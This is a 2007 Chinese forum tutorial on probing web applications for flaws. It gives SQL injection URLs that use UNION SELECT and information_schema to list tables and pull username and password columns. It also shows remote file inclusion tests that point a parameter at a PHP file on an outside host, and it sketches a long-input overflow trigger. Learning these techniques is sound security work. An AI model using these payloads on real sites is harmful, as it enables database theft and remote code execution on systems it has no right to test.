| WEB漏洞挖掘技术下(摘自影子鹰论坛) |
| 作者/管理员 时间/2007-3-15 7:29:00 类别/网络安全 查看/ |
| 标签:互联网 安全 黑客 |
|
猜测表名: http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2 //where 1=2 不打印猜测表的内容 这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select 的字段个数再使用,否则mysql会报错. http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows, table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以 得到更多的数据库信息了:) 上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统 管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的. 在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的 系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql 数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的 内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表 的具体字段到底是干什么的:) 1: KEY_COLUMN_USAGE表 constraint_schema: 存放数据库名 table_schema: 存放数据库名 table_name: 存放数据库表信息 column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息 2: SCHEMA表 schema_name: 存放数据库名 default_charater_set_name: 存放charset类型 default_collation_name: 存放charset相关信息 3: SCHEMA_PRIVILEGES表 grantee: 存放数据库用户名 table_schema: 表名 privilege_type: 权限 4: STATISTICS表 table_schema: 存放数据库名 table_name: 存放表名 index_schema: 数据库名 index_name: 是否缩引? column_name: 存放索引自增字段? 5: TABLES表 table_schema: 存放数据库名 table_name: 存放表名 table_type: 表类型 SYSTEM or BASE TABLE engin: MEMORY MYISAM InnoDB version: table_rows:表的行数 auto_increment: 自增的总行数 create_time: 创建表的时间 update_time: 更新表的时间 create_options: 创建表时的约束条件 ... 有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而 直接获取数据库表名的结果.我在本地测试时一切OK:) 猜测列名: http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2 按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会 出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表 的字段信息,如:admin与password:) C: 文件包含漏洞 文件包含漏洞的测试,有以下几个比较简单且有效的办法. 1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式 2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式 然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为: http://bbs.cciss.cn/include.txt http://bbs.cciss.cn/include 漏洞规则: http://website/file.php?inc=http://bbs.cciss.cn/include.txt http://website/file.php?inc=http://bbs.cciss.cn/include.txt? http://website/file.php?inc=http://bbs.cciss.cn/include? http://website/file.php?inc=http://bbs.cciss.cn/include 使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断. 例如从XSS漏洞的检测规则可能会发现包含文件漏洞:) 如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str), 那么我们如何利用这样的漏洞呢? 我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置 函数,则可以使用下面的办法来触发漏洞 http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数) 当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode. 但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的. --] 总结 针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取 手工办法测试的规则,更多的规则是依靠经验不断积累所致:) 本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下, 希望对大家有所帮助. |
| 查看该用户更多文章>> |